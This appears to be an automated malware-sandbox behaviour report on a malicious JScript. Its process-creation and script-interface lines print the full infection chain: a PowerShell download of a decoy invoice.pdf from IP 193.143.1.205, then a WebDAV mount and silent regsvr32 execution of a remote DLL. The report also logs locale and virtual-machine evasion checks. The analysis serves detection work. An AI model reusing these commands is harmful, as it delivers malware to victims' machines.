Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1150.js.csv");ITextStream.WriteLine(" entry:7319 f:lqmvksqzv");ITextStream.WriteLine(" exec:2 f:lqmvksqzv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4359			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5128			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3756	Thread sleep count: 4359 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3756	Thread sleep count: 5128 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1028	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000003.1805569499.0000024FC6A7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: net.exe, 00000006.00000003.1805569499.0000024FC6A7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3043061819.0000019718454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1806305444.0000024FC6A18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: svchost.exe, 00000008.00000002.3041935430.0000019712E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWwE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
